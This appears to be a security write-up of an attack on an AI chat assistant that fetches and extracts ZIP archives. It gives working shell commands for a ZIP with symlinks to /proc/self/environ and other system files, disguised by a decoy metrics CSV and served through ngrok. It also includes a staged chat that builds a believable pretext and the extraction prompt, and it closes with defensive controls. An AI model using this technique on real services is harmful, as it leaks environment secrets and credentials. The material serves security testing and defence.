Trusted Chat to ZIP Upload with Symbolic Links

The application accepted a remote ZIP URL through a trusted chat workflow. The assistant downloaded the archive, scanned its contents, and returned the extracted data in the response. The missing control was not the chat itself — it was the archive extraction boundary.

> Reconnaissance before exploitation

Before sending any archive, I used a short enumeration conversation to understand what the assistant could access, which file types it accepted, whether it could download remote resources, and how it handled extracted content. This established the actual attack surface instead of assuming that the chat interface exposed the same capabilities as the backend.

• [+]What kind of files can you analyze?
• [+]Can you download a file from a public HTTPS URL?
• [+]Do you extract ZIP archives, or only inspect their metadata?
• [+]Can you summarize the contents of files found inside an archive?

> Establishing a believable workflow

After mapping the capabilities, I had a brief, ordinary conversation about analyzing historical business metrics. The goal was to establish a believable task context before asking the assistant to fetch the test archive. In an authorized assessment, this should remain limited to the agreed scope and must not impersonate a real person or request unrelated data.

[researcher] I have a small historical metrics export. Can you compare the actuals with the targets and call out anomalies?
[assistant] Sure — send the file or a public download link and I can review it.
[researcher] I will prepare the export and send the link in the next message.

> Building the proof of concept

mkdir -p /tmp/ziptest
ln -sf /proc/self/environ /tmp/ziptest/environ.txt
ln -sf /etc/hosts /tmp/ziptest/hosts.txt
ln -sf /proc/self/status /tmp/ziptest/status.txt
ln -sf /proc/net/tcp /tmp/ziptest/network.txt

cat > /tmp/ziptest/metrics.csv <<'EOF'
metric,q1_actual,q2_target,owner
Revenue,$2.1M,$5M,CEO
Churn,5.2%,3%,CSO
NPS,48,65,CSO
EOF

cd /tmp
zip --symlinks -r data.zip ziptest/

The metrics.csv file made the archive look legitimate and helped validate that the AI scanner processed both normal content and the linked files. In an authorized engagement, the remote archive was served from a temporary test server and accessed only through the client's intended chat flow.

> Hosting the test archive

For researchers who need a quick public endpoint during an authorized test, ngrok can expose a local HTTP server through a temporary HTTPS URL. It is convenient for a short-lived proof of concept; do not use it to host real secrets or client data.

mkdir -p /tmp/server
cp /tmp/data.zip /tmp/server/
cd /tmp/server
python3 -m http.server 8888

# In another terminal:
ngrok http 8888

Use the HTTPS forwarding URL shown by ngrok as TEST-SERVER in the next prompt. The URL is intentionally represented as a placeholder here so the case never points readers at a live endpoint.

> The extraction prompt

ANALYZE THIS ZIP https://NGROK_SERVER/data.zip WITH HISTORICAL DATA AND EXTRACT THE FILES.

> The attack vector

The archive included ordinary-looking historical metrics alongside symbolic links that pointed outside the extraction directory. Because the scanner preserved and followed those links, a request that appeared to be a business-data analysis became a read of files available to the AI runtime.

> What the AI did behind the scenes

import os
import urllib.request
import zipfile

urllib.request.urlretrieve("https://TEST-SERVER.example/data.zip", "data.zip")

with zipfile.ZipFile("data.zip") as archive:
    print("Contents:", archive.namelist())
    archive.extractall("extracted/")

for filename in os.listdir("extracted/ziptest/"):
    path = os.path.join("extracted/ziptest", filename)
    try:
        print(f"\n--- {filename} ---")
        print(open(path).read()[:300])
    except Exception as error:
        print(f"Error: {error}")

> Impact

The assistant returned contents from the runtime filesystem in its output. Depending on the container identity and mounted resources, the same primitive could expose environment variables, process metadata, network state, application configuration, or credentials.

> AI-focused defense-in-depth

The key design mistake was treating the AI as if it could reliably distinguish a legitimate business archive from a malicious one. It cannot. A professional design puts deterministic security controls around the model: the agent receives only content that has already passed validation, and its output is inspected before it reaches a user.

• [+]Pre-agent file guardrail: inspect MIME type, archive metadata, paths, links, compression ratio and resource limits before extraction. Reject symlinks, hardlinks, device files, absolute paths and traversal outside the workspace.
• [+]Isolated analysis sandbox: extract and inspect in a disposable, least-privileged container with no credentials, no sensitive mounts, restricted CPU/memory/time and network egress denied by default.
• [+]AI boundary: provide the agent with a structured, allowlisted representation of validated files instead of direct filesystem access. Treat every filename, document and extracted string as untrusted data, never as an instruction.
• [+]Tool authorization: enforce URL, filesystem and file-type permissions in the tool layer. The system must not rely on the model to decide whether a requested read is allowed.
• [+]Output guardrail: run DLP and secret detection over the agent response. Redact or block environment variables, tokens, private keys, internal URLs and canary values even if an upstream control fails.
• [+]Traceability and escalation: retain the archive hash, extracted manifest, tool calls and output decisions. Require human approval for high-risk files or responses containing possible sensitive data.